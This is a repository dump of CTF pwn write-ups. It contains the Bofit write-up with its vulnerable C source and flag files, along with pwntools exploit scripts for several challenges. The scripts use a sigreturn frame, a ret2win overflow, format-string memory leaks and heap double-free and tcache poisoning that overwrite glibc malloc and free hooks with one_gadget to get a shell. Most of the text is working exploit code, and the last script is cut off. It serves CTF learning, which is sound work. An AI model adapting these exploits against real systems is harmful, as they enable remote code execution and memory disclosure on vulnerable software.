| target.sendline(b'a' * i) 10 | print(i) 11 | result = (target.recvuntil(b'Would you like another push (Y/*) >>>', timeout=1)) 12 | if not result: 13 | print(i) 14 | break 15 | i += 1 16 | 17 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/push/push_writeup_solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('0.cloud.chals.io', 21978) 4 | 5 | context.arch = "amd64" 6 | 7 | frame = SigreturnFrame() 8 | 9 | print(target.recvuntil(b'Push your way to /bin/sh at :')) 10 | 11 | leak = (target.recvline()) 12 | print(leak) 13 | binsh = int(leak, 16) 14 | print('binsh is at', hex(binsh)) 15 | 16 | payload = b'Y' 17 | target.send(payload) 18 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 19 | target.sendline(b'Y') 20 | 21 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 22 | target.sendline(b'Y') 23 | print(target.recvuntil(b'~ push 0x58585858; ret |')) 24 | leak = (target.recvline()) 25 | print(leak) 26 | 27 | pop_rax = int(leak, 16) + 4 28 | print('pop rax ret at ', hex(pop_rax)) 29 | 30 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 31 | target.sendline(b'Y') 32 | print(target.recvuntil(b'~ push 0x0f050f05; ret |')) 33 | leak = (target.recvline()) 34 | print(leak) 35 | syscall = int(leak, 16) + 2 36 | 37 | print('syscall at', hex(syscall)) 38 | 39 | print('adjusted pop rax and syscall to be correct') 40 | 41 | pop_rax += 2 42 | syscall += 2 43 | 44 | padding = b'a' * 16 45 | 46 | payload = padding + p64(pop_rax) + p64(0xf) + p64(syscall) 47 | #By the end of the competition, the challenge was worth 496 points with a total of 12 solvers. This made 48 | frame.rip = syscall 49 | frame.rdi = binsh 50 | frame.rax = 59 51 | frame.rsi = 0 52 | frame.rdx = 0 53 | 54 | payload += bytes(frame) 55 | 56 | target.sendline(payload) 57 | 58 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/DawgCTF_21/Bofit/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Bofit 2 | 3 | The description for the challenge is as follows: 4 | 5 | *Because Bop It is copyrighted, apparently* 6 | 7 | *nc umbccd.io 4100* 8 | 9 | *Author: trashcanna* 10 | 11 | The challenge was in the Pwn category, and it was worth 125 points. It came with a downlable binable and C source code. I will note that this challenge would have still been very doable without the sourcecode, but I will include snippets of it here for illustration purposes. 12 | 13 | **TL;DR Solution:** Just do an overflow when the opportunity of "Shout it!" is presented and ret2win. 14 | 15 | Initially running the live challenge produced a very straightforward interaction with the program: 16 | 17 | ``` 18 | knittingirl@piglet:~/CTF/cyberdawg$ nc umbccd.io 4100 19 | Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes 20 | You'll have a second to respond to a series of commands 21 | BOF it: Reply with a capital 'B' 22 | Pull it: Reply with a capital 'P' 23 | Twist it: Reply with a capital 'T' 24 | Shout it: Reply with a string of at least 10 characters 25 | BOF it to start! 26 | B 27 | Twist it! 28 | T 29 | Shout it! 30 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 31 | Twist it! 32 | a 33 | ``` 34 | And the checksec on this looks pretty straightforward: 35 | ``` 36 | knittingirl@piglet:~/CTF/cyberdawg$ checksec bofit 37 | [*] '/home/knittingirl/CTF/cyberdawg/bofit' 38 | Arch: amd64-64-little 39 | RELRO: Partial RELRO 40 | Stack: No canary found 41 | NX: NX disabled 42 | PIE: No PIE (0x400000) 43 | RWX: Has RWX segments 44 | ``` 45 | An examination of the source code in C shows a clear vulnerability in the case that 'Shout it' occurs; user input is taken with gets(), so we should be able to get a buffer overflow very easily. 46 | ``` 47 | case 3: 48 | printf("Shout it!\n"); 49 | gets(input); 50 | if(strlen(input) < 10) correct = false; 51 | break; 52 | ``` 53 | In addition, the challenge creators have helpfully included a win function that will print the flag if called: 54 | ``` 55 | void win_game(){ 56 | char buf[100]; 57 | FILE* fptr = fopen("flag.txt", "r"); 58 | fgets(buf, 100, fptr); 59 | printf("%s", buf); 60 | } 61 | ``` 62 | There are various ways in which I could get the exact address of the win_game() function; I like to use Ghidra. 63 | ``` 64 | ************************************************************** 65 | * FUNCTION * 66 | ************************************************************** 67 | undefined win_game() 68 | undefined AL:1 69 | undefined8 Stack[-0x10]:8 local_10 XREF[2]: 00401275(W), 70 | 00401279(R) 71 | undefined1 Stack[-0x78]:1 local_78 XREF[2]: 0040127d(*), 72 | 0040128e(*) 73 | win_game XREF[3]: Entry Point(*), 004021e0, 74 | 00402298(*) 75 | 00401256 f3 0f 1e fa ENDBR64 76 | 0040125a 55 PUSH RBP 77 | 78 | ``` 79 | 80 | Finally, I will note that there appear to be no cases in which the function calls exit(), and it will return if you trigger the break on any of the cases by answering incorrectly. 81 | ``` 82 | return score; 83 | ``` 84 | All of this means that our exploit should be extremely simple. We want to pass in enough characters on a "Shout it!" turn to overflow into the return pointer, then return into the win function to print the flag. I used the cyclic method with gdb to determine my padding, then finished the exploit by adding the address of win_game in order to jump there when I deliberately trigger the return condition. The final script looks like this: 85 | ``` 86 | from pwn import * 87 | 88 | #target = process(b'./bofit') 89 | 90 | #pid = gdb.attach(target, "\nb *play_game+368\ncontinue") 91 | target = remote('umbccd.io', 4100) 92 | 93 | print(target.recvuntil(b'BOF it to start!')) 94 | 95 | target.sendline(b'B') 96 | 97 | while True: 98 | current = target.recvuntil(b'it!') 99 | print(current) 100 | if b'BOF' in current: 101 | target.sendline(b'B') 102 | elif b'Pull' in current: 103 | target.sendline(b'P') 104 | elif b'Twist' in current: 105 | target.sendline(b'T') 106 | else: 107 | #payload = cyclic(200) 108 | padding = b'a' * 56 109 | payload = padding 110 | payload += p64(0x00401256) 111 | target.sendline(payload) 112 | break 113 | print(target.recvuntil(b'it!')) 114 | target.sendline(b'wrong') 115 | target.interactive() 116 | ``` 117 | And the result looks like this: 118 | ``` 119 | knittingirl@piglet:~/CTF/cyberdawg$ python3 bofit_payload.py 120 | [+] Opening connection to umbccd.io on port 4100: Done 121 | b"Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\nYou'll have a second to respond to a series of commands\nBOF it: Reply with a capital 'B'\nPull it: Reply with a capital 'P'\nTwist it: Reply with a capital 'T'\nShout it: Reply with a string of at least 10 characters\nBOF it to start!" 122 | b'\nTwist it!' 123 | b'\nPull it!' 124 | b'\nBOF it!' 125 | b'\nShout it!' 126 | b'\nBOF it!' 127 | [*] Switching to interactive mode 128 | 129 | DawgCTF{n3w_h1gh_sc0r3!!} 130 | [*] Got EOF while reading in interactive 131 | $ 132 | 133 | ``` 134 | -------------------------------------------------------------------------------- /pwn_challs/DawgCTF_21/Bofit/bofit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/DawgCTF_21/Bofit/bofit -------------------------------------------------------------------------------- /pwn_challs/DawgCTF_21/Bofit/bofit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void win_game(){ 9 | char buf[100]; 10 | FILE* fptr = fopen("flag.txt", "r"); 11 | fgets(buf, 100, fptr); 12 | printf("%s", buf); 13 | } 14 | 15 | int play_game(){ 16 | char c; 17 | char input[20]; 18 | int choice; 19 | bool correct = true; 20 | int score = 0; 21 | srand(time(0)); 22 | while(correct){ 23 | choice = rand() % 4; 24 | switch(choice){ 25 | case 0: 26 | printf("BOF it!\n"); 27 | c = getchar(); 28 | if(c != 'B') correct = false; 29 | while((c = getchar()) != '\n' && c != EOF); 30 | break; 31 | 32 | case 1: 33 | printf("Pull it!\n"); 34 | c = getchar(); 35 | if(c != 'P') correct = false; 36 | while((c = getchar()) != '\n' && c != EOF); 37 | break; 38 | 39 | case 2: 40 | printf("Twist it!\n"); 41 | c = getchar(); 42 | if(c != 'T') correct = false; 43 | while((c = getchar()) != '\n' && c != EOF); 44 | break; 45 | 46 | case 3: 47 | printf("Shout it!\n"); 48 | gets(input); 49 | if(strlen(input) < 10) correct = false; 50 | break; 51 | } 52 | score++; 53 | } 54 | return score; 55 | } 56 | 57 | void welcome(){ 58 | char input; 59 | printf("Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n"); 60 | printf("You'll have a second to respond to a series of commands\n"); 61 | printf("BOF it: Reply with a capital \'B\'\n"); 62 | printf("Pull it: Reply with a capital \'P\'\n"); 63 | printf("Twist it: Reply with a capital \'T\'\n"); 64 | printf("Shout it: Reply with a string of at least 10 characters\n"); 65 | printf("BOF it to start!\n"); 66 | input = getchar(); 67 | while(input != 'B'){ 68 | printf("BOF it to start!\n"); 69 | input = getchar(); 70 | } 71 | while((input = getchar()) != '\n' && input != EOF); 72 | } 73 | 74 | int main(){ 75 | int score = 0; 76 | welcome(); 77 | score = play_game(); 78 | printf("Congrats! Final score: %d\n", score); 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /pwn_challs/DawgCTF_21/Bofit/bofit_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process(b'./bofit') 4 | 5 | #pid = gdb.attach(target, "\nb *play_game+368\ncontinue") 6 | target = remote('umbccd.io', 4100) 7 | 8 | print(target.recvuntil(b'BOF it to start!')) 9 | 10 | target.sendline(b'B') 11 | 12 | while True: 13 | current = target.recvuntil(b'it!') 14 | print(current) 15 | if b'BOF' in current: 16 | target.sendline(b'B') 17 | elif b'Pull' in current: 18 | target.sendline(b'P') 19 | elif b'Twist' in current: 20 | target.sendline(b'T') 21 | else: 22 | #payload = cyclic(200) 23 | padding = b'a' * 56 24 | payload = padding 25 | payload += p64(0x00401256) 26 | target.sendline(payload) 27 | break 28 | print(target.recvuntil(b'it!')) 29 | target.sendline(b'wrong') 30 | target.interactive() 31 | -------------------------------------------------------------------------------- /pwn_challs/DawgCTF_21/Bofit/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{n3w_h1gh_sc0r3!!} 2 | -------------------------------------------------------------------------------- /pwn_challs/DeadfaceCTF_22/Exploit_Checker/exploitchecker_old2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/DeadfaceCTF_22/Exploit_Checker/exploitchecker_old2 -------------------------------------------------------------------------------- /pwn_challs/DeadfaceCTF_22/Exploit_Checker/exploitchecker_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('exploitchecker.deadface.io', 1337) 4 | 5 | addr1 = str(0x8bc5) 6 | addr2 = str(0x0804) 7 | unimportant = str(1) 8 | 9 | print(target.recvuntil(b'6: Exit')) 10 | target.sendline(b'1') 11 | 12 | 13 | print(target.recvuntil(b'What')) 14 | target.sendline(unimportant) 15 | print(target.recvuntil(b'What')) 16 | target.sendline(unimportant) 17 | print(target.recvuntil(b'What')) 18 | target.sendline(unimportant) 19 | 20 | print(target.recvuntil(b'6: Exit')) 21 | target.sendline(b'2') 22 | print(target.recvuntil(b'6: Exit')) 23 | target.sendline(b'3') 24 | 25 | print(target.recvuntil(b'What')) 26 | target.sendline(unimportant) 27 | print(target.recvuntil(b'What')) 28 | target.sendline(addr1) 29 | print(target.recvuntil(b'What')) 30 | target.sendline(addr2) 31 | print(target.recvuntil(b'What')) 32 | target.sendline(unimportant) 33 | print(target.recvuntil(b'What')) 34 | target.sendline(unimportant) 35 | 36 | print(target.recvuntil(b'6: Exit')) 37 | target.sendline(b'2') 38 | target.interactive() 39 | -------------------------------------------------------------------------------- /pwn_challs/DeadfaceCTF_22/Offset_Checker/leaked_elf_with_GOT: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/DeadfaceCTF_22/Offset_Checker/leaked_elf_with_GOT -------------------------------------------------------------------------------- /pwn_challs/DeadfaceCTF_22/Offset_Checker/offset_checker.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('offsetcheck.deadface.io', 31337) 4 | 5 | 6 | file1 = open('leaked_elf', 'ab') 7 | base = 0x8048000 8 | base = 0x804a000 #Use this one when leaking the GOT 9 | 10 | while True: 11 | (target.recvuntil(b'sent to the buffer:')) 12 | payload = b'%' + str(34).encode('ascii') + b'$s' + b'zbcdefghij' 13 | payload += b'b' * (20 - len(payload)) 14 | payload += p32(base) 15 | #print(my_input) 16 | target.sendline(payload) 17 | 18 | (target.recvuntil(b'Please enter what showed up in EIP:')) 19 | target.sendline(b'a') 20 | (target.recvuntil(b'Searching buffer:')) 21 | (target.recvuntil(b'\x00')) 22 | leak = target.recvuntil(b'...') 23 | print(leak) 24 | leak = leak.replace(b'...', b'').replace(b'zbcdefghij\x00', b'').replace(b'zbcdefghi\x00', b'').replace(b'zbcdefgh\x00', b'').replace(b'zbcdefg\x00', b'').replace(b'zbcdef\x00', b'').replace(b'zbcde\x00', b'').replace(b'zbcd\x00', b'').replace(b'zbc\x00', b'').replace(b'zb\x00', b'').replace(b'z\x00', b'') 25 | #print(leak[-1]) 26 | if len(leak) > 1 and leak[-1] == 0: 27 | leak = leak[:-1] 28 | base -= 1 29 | if len(leak) != 10: 30 | base += len(leak) + 1 31 | print(leak) 32 | print(hex(base)) 33 | file1.write(leak + b'\x00') 34 | else: 35 | base += len(leak) + 1 36 | print(leak) 37 | print(hex(base)) 38 | file1.write(leak) 39 | 40 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/DeadfaceCTF_22/Offset_Checker/offset_checker_sample_leak.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | target = remote('offsetcheck.deadface.io', 31337) 5 | 6 | 7 | print(target.recvuntil(b'sent to the buffer:')) 8 | 9 | #base = 0x8048000 10 | 11 | payload = b'%' + str(34).encode('ascii') + b'$s' 12 | payload += b'b' * (20 - len(payload)) 13 | payload += p32(0x08048000) 14 | print(payload) 15 | target.sendline(payload) 16 | 17 | print(target.recvuntil(b'Please enter what showed up in EIP:')) 18 | target.sendline(b'a') 19 | #print(target.recvuntil(b'Searching buffer:')) 20 | 21 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/DeadfaceCTF_22/Offset_Checker/offset_checker_stack_scan.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | target = remote('offsetcheck.deadface.io', 31337) 5 | 6 | for i in range(1, 80): 7 | print(target.recvuntil(b'sent to the buffer:')) 8 | payload = b'%' + str(i).encode('ascii') + b'$p' 9 | print(payload) 10 | payload += b'a' * (100 - len(payload)) 11 | target.sendline(payload) 12 | 13 | (target.recvuntil(b'Please enter what showed up in EIP:')) 14 | target.sendline(b'b') 15 | 16 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/GDG_Algiers22/noteskeeper/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/GDG_Algiers22/noteskeeper/chall -------------------------------------------------------------------------------- /pwn_challs/GDG_Algiers22/noteskeeper/ld-2.29.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/GDG_Algiers22/noteskeeper/ld-2.29.so -------------------------------------------------------------------------------- /pwn_challs/GDG_Algiers22/noteskeeper/libc-2.29.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/GDG_Algiers22/noteskeeper/libc-2.29.so -------------------------------------------------------------------------------- /pwn_challs/GDG_Algiers22/noteskeeper/notes_keeper.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/GDG_Algiers22/noteskeeper/notes_keeper.zip -------------------------------------------------------------------------------- /pwn_challs/GDG_Algiers22/noteskeeper/noteskeeper_exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./chall') 4 | 5 | pid = gdb.attach(target, "\nb *add_note+250\nb *remove_note+102\nb *view_note+179\ncontinue") 6 | #target = remote('pwn.chal.ctf.gdgalgiers.com', 1405) 7 | 8 | 9 | def add_note(size, content): 10 | print(target.recvuntil(b'Enter an option:')) 11 | target.sendline(b'1') 12 | print(target.recvuntil(b'Size:')) 13 | target.sendline(str(size)) 14 | print(target.recvuntil(b'Note content:')) 15 | target.send(content) 16 | 17 | def remove_note(index): 18 | print(target.recvuntil(b'Enter an option:')) 19 | target.sendline(b'2') 20 | print(target.recvuntil(b'index:')) 21 | target.sendline(str(index)) 22 | 23 | def view_note(index): 24 | print(target.recvuntil(b'Enter an option:')) 25 | target.sendline(b'4') 26 | print(target.recvuntil(b'Index:')) 27 | target.sendline(str(index)) 28 | 29 | libc = ELF('libc.so.6') 30 | #Get my libc leak 31 | view_note(-17) 32 | print(target.recvuntil(b'located at: ')) 33 | leak = target.recv(14) 34 | atoi = int(leak, 16) 35 | print(hex(atoi)) 36 | libc_base = atoi - libc.symbols['atoi'] 37 | malloc_hook = libc_base + libc.symbols['__malloc_hook'] 38 | print(hex(malloc_hook)) 39 | onegadget = libc_base + 0xe21d1 40 | 41 | 42 | add_note(0xf8, b'a' * 8) 43 | add_note(0x108, b'b' * 8) 44 | 45 | remove_note(0) 46 | remove_note(1) 47 | #Getting my null-byte overflow 48 | add_note(0xf8, b'a' * (0xf8-1)) 49 | #Here's the double free 50 | remove_note(1) 51 | #Overwrite forward pointer of the 0x110 bin with malloc hook 52 | add_note(0xf8, p64(malloc_hook)) 53 | #Placeholder 54 | add_note(0x108, b'a') 55 | #Let's me allocate another chunk 56 | remove_note(3) 57 | #Allocates over the malloc hook 58 | add_note(0x108, p64(onegadget)) 59 | #Let's me allocate again 60 | remove_note(3) 61 | 62 | #Trigger the malloc and onegadget. 63 | print(target.recvuntil(b'Enter an option:')) 64 | target.sendline(b'1') 65 | print(target.recvuntil(b'Size:')) 66 | target.sendline(str(0x28)) 67 | 68 | 69 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/HTB UniCTF Finals 2022/Robo-quest/pwn_roboquest.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB UniCTF Finals 2022/Robo-quest/pwn_roboquest.zip -------------------------------------------------------------------------------- /pwn_challs/HTB UniCTF Finals 2022/Robo-quest/robo_quest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB UniCTF Finals 2022/Robo-quest/robo_quest -------------------------------------------------------------------------------- /pwn_challs/HTB UniCTF Finals 2022/Robo-quest/roboquest_exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./robo_quest') 4 | 5 | pid = gdb.attach(target, "\nb *create_question\nb *show_question+172\nb *modify_question+222\nb *remove_question\n set disassembly-flavor intel\ncontinue") 6 | 7 | #target = remote('139.59.174.208', 31412) 8 | 9 | libc = ELF('.glibc/libc.so.6') 10 | def create_question(size, content): 11 | print(target.recvuntil(b'4. Remove')) 12 | 13 | target.sendline(b'1') 14 | 15 | print(target.recvuntil(b'Question\'s size:')) 16 | 17 | target.sendline(str(size)) 18 | 19 | print(target.recvuntil(b'here:')) 20 | 21 | target.sendline(content) 22 | 23 | 24 | def modify_question(question_id, content): 25 | print(target.recvuntil(b'4. Remove')) 26 | 27 | target.sendline(b'3') 28 | 29 | print(target.recvuntil(b'Question\'s id:')) 30 | 31 | target.sendline(str(question_id)) 32 | 33 | print(target.recvuntil(b'question:')) 34 | 35 | target.sendline(content) 36 | 37 | def show_question(question_id): 38 | print(target.recvuntil(b'4. Remove')) 39 | 40 | target.sendline(b'2') 41 | 42 | print(target.recvuntil(b'Question\'s id:')) 43 | 44 | target.sendline(str(question_id)) 45 | 46 | def remove_question(question_id): 47 | print(target.recvuntil(b'4. Remove')) 48 | 49 | target.sendline(b'4') 50 | 51 | print(target.recvuntil(b'Question\'s id:')) 52 | 53 | target.sendline(str(question_id)) 54 | 55 | create_question(0x18, b'a' * 0x18) 56 | create_question(0x18, b'b' * 0x18) 57 | create_question(0x98, b'c' * 0x98) 58 | create_question(0x98, b'd' * 0x98) 59 | create_question(0x98, b'e' * 0x98) 60 | create_question(0x98, b'f' * 0x98) 61 | create_question(0x98, b'g' * 0x98) 62 | create_question(0x98, b'h' * 0x98) 63 | create_question(0x98, b'i' * 0x98) 64 | create_question(0x98, b'j' * 0x98) 65 | modify_question(0, b'0' * 0x18 + b'\x51') 66 | remove_question(1) 67 | remove_question(3) 68 | remove_question(4) 69 | remove_question(5) 70 | remove_question(6) 71 | remove_question(7) 72 | remove_question(8) 73 | remove_question(9) 74 | #This one is going in the unsorted bin so that I can look at the libc addresses 75 | remove_question(2) 76 | create_question(0x48, b'e' * 0x1f) 77 | show_question(1) 78 | print(target.recvuntil(b'e' * 27 + b'\n')) 79 | libc_leak_bytes = target.recv(6) 80 | libc_leak = u64(libc_leak_bytes + b'\x00' * 2) 81 | print(hex(libc_leak)) 82 | system_libc = libc_leak - 0x39c750 83 | print(hex(system_libc)) 84 | libc_base = system_libc - libc.symbols['system'] 85 | onegadget = libc_base + 0x4f432 #0x4f3d5 86 | print(hex(onegadget)) 87 | free_hook = libc_base + libc.symbols['__free_hook'] 88 | print(hex(free_hook)) 89 | 90 | #I found that we had a tendency to error out if I leave the libc leaking chunk damaged, so I modify it back to normal. 91 | 92 | modify_question(1, b'z' * 0x18 + p64(0x61) + p64(libc_leak)[:6]) 93 | 94 | create_question(0x58, b'0' * 0x58) 95 | 96 | create_question(0x38, b'1' * 0x38) #ID is 3 97 | create_question(0x38, b'2' * 0x38) #ID is 4 98 | create_question(0x38, b'3' * 0x38) #ID is 5 99 | create_question(0x38, b'4' * 0x38) #ID is 6 100 | show_question(3) 101 | modify_question(3, b'z' * 0x38 + b'\x51') 102 | remove_question(4) 103 | remove_question(6) 104 | remove_question(5) 105 | create_question(0x48, b'x' * 0x38 + p64(0x41) + p64(free_hook)) 106 | create_question(0x38, b'A' * 0x38) 107 | #This will overwrite the free hook with the onegadget. 108 | create_question(0x38, p64(onegadget)) 109 | 110 | #This will trigger the free hook and the onegadget and pop a shell. 111 | remove_question(0) 112 | 113 | target.interactive() 114 | -------------------------------------------------------------------------------- /pwn_challs/HTBUni22/spellbook/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTBUni22/spellbook/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /pwn_challs/HTBUni22/spellbook/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTBUni22/spellbook/glibc/libc.so.6 -------------------------------------------------------------------------------- /pwn_challs/HTBUni22/spellbook/pwn_spellbook.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTBUni22/spellbook/pwn_spellbook.zip -------------------------------------------------------------------------------- /pwn_challs/HTBUni22/spellbook/spellbook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTBUni22/spellbook/spellbook -------------------------------------------------------------------------------- /pwn_challs/HTBUni22/spellbook/spellbook_exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./spellbook') 4 | 5 | #pid = gdb.attach(target, "\nb *show+170\nb *delete+160\nb *add+318\nb *add+102\nb *edit+186\nb *edit+248\n set disassembly-flavor intel\ncontinue") 6 | 7 | #target = remote('167.99.206.87', 30567) 8 | 9 | libc = ELF('glibc/libc.so.6') 10 | 11 | def add(index, type, power, power_content): 12 | 13 | print(target.recvuntil(b'4. Delete')) 14 | target.sendline(b'1') 15 | 16 | print(target.recvuntil(b's entry:')) 17 | target.sendline(str(index)) 18 | print(target.recvuntil(b's type:')) 19 | target.send(type) 20 | print(target.recvuntil(b'power:')) 21 | target.sendline(str(power)) 22 | print(target.recvuntil(b'Enter')) 23 | target.send(power_content) 24 | 25 | def show(index): 26 | print(target.recvuntil(b'4. Delete')) 27 | target.sendline(b'2') 28 | 29 | print(target.recvuntil(b's entry:')) 30 | target.sendline(str(index)) 31 | 32 | 33 | def edit(index, type, power_content): 34 | 35 | print(target.recvuntil(b'4. Delete')) 36 | target.sendline(b'3') 37 | 38 | print(target.recvuntil(b's entry:')) 39 | target.sendline(str(index)) 40 | print(target.recvuntil(b's type:')) 41 | target.sendline(type) 42 | print(target.recvuntil(b'New')) 43 | target.sendline(power_content) 44 | 45 | def delete(index): 46 | print(target.recvuntil(b'4. Delete')) 47 | target.sendline(b'4') 48 | 49 | print(target.recvuntil(b's entry:')) 50 | target.sendline(str(index)) 51 | ''' 52 | add(1, b'a' * 0x17, 0x60, b'b' * (0x60-1)) 53 | add(2, b'c' * 0x17, 0x60, b'd' * (0x60-1)) 54 | add(3, b'e' * 0x17, 0x60, b'f' * (0x60-1)) 55 | delete(1) 56 | delete(2) 57 | delete(3) 58 | edit(3, 59 | target.interactive() 60 | ''' 61 | 62 | 63 | add(1, b'a' * 0x17, 0x100, b'b' * (0x100-1)) 64 | add(2, b'c' * 0x17, 0x60, b'd' * (0x60-1)) 65 | add(3, b'c' * 0x17, 0x60, b'd' * (0x60-1)) 66 | 67 | delete(1) 68 | show(1) 69 | print(target.recvuntil(b'type:')) 70 | print(target.recvuntil(b': ')) 71 | leak = target.recv(6) 72 | free_libc = u64(leak + b'\x00' * 2) - 0x340638 73 | print(hex(free_libc)) 74 | 75 | 76 | 77 | libc_base = free_libc - libc.symbols['free'] 78 | execve = libc_base + libc.symbols['execve'] 79 | malloc_hook = libc_base + libc.symbols['__malloc_hook'] 80 | onegadget = libc_base + 0x4527a 81 | print(hex(onegadget)) 82 | print(hex(malloc_hook)) 83 | 84 | delete(3) 85 | delete(2) 86 | show(2) 87 | 88 | 89 | print(target.recvuntil(b'type:')) 90 | print(target.recvuntil(b': ')) 91 | 92 | leak = target.recv(6) 93 | heap_leak = u64(leak+b'\x00' * 2) 94 | print(hex(heap_leak)) 95 | 96 | edit(2, p64(heap_leak-0x210), p64(malloc_hook-0x23)) 97 | 98 | 99 | 100 | add(4, b'e' * 0x17, 0x60, cyclic(0x60-1)) 101 | add(5, b'f' * 0x17, 0x60, b'a' * 19 + p64(onegadget)) 102 | 103 | print(target.recvuntil(b'4. Delete')) 104 | target.sendline(b'1') 105 | 106 | print(target.recvuntil(b's entry:')) 107 | target.sendline(b'6') 108 | 109 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/Harvester/flag.txt: -------------------------------------------------------------------------------- 1 | CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry} 2 | -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/Harvester/harvester: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/HTB_Apocalypse_2021/Harvester/harvester -------------------------------------------------------------------------------- /pwn_challs/HTB_Apocalypse_2021/Harvester/harvester_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./harvester', env={"LD_PRELOAD":"./libc.so.6"}) 4 | 5 | #target = remote('188.166.145.178', 31815) 6 | 7 | #pid = gdb.attach(target, "\nb *stare+212\nb *fight+176\n set disassembly-flavor intel\ncontinue") 8 | 9 | 10 | elf = ELF("harvester") 11 | libc = ELF("libc.so.6") 12 | 13 | #Gadgets: 14 | 15 | onegadget_offset = 0x4f3d5 16 | 17 | def inc_pie(amount): 18 | print(target.recvuntil(b'[4] Run')) 19 | target.sendline(b'2') 20 | print(target.recvuntil(b'Do you want to drop some? (y/n)')) 21 | target.sendline(b'y') 22 | print(target.recvuntil(b'How many do you want to drop?')) 23 | value = amount * -1 24 | target.sendline(str(value).encode()) 25 | 26 | #Leak the canary 27 | print(target.recvuntil(b'[4] Run')) 28 | target.sendline(b'1') 29 | 30 | print(target.recvuntil(b'[4]')) 31 | target.sendline(b'%11$p') 32 | 33 | print(target.recvuntil(b'Your choice is: ')) 34 | result = target.recvuntil(b'You are') 35 | canary_string = result.replace(b'\x1b[1;31m\nYou are', b'') 36 | canary_num = int(canary_string, 16) 37 | print('Canary is', hex(canary_num)) 38 | 39 | canary = p64(canary_num) 40 | 41 | #libc leak: 42 | print(target.recvuntil(b'[4] Run')) 43 | target.sendline(b'1') 44 | 45 | print(target.recvuntil(b'[4]')) 46 | 47 | target.sendline(b'%3$p') 48 | 49 | print(target.recvuntil(b'Your choice is: ')) 50 | result = target.recvuntil(b'You are') 51 | libc_leak_str = result.replace(b'\n\x1b[1;31m\nYou are', b'') 52 | libc_leak_num = int(libc_leak_str, 16) 53 | nanosleep_libc = libc_leak_num - 20 54 | print('nanosleep_libc', hex(nanosleep_libc)) 55 | print(libc.symbols['nanosleep']) 56 | 57 | libc_base = nanosleep_libc - libc.symbols['nanosleep'] 58 | onegadget = libc_base + onegadget_offset 59 | 60 | #Now trigger the increase in pie. 61 | inc_pie(11) 62 | 63 | print(target.recvuntil(b'[4] Run')) 64 | 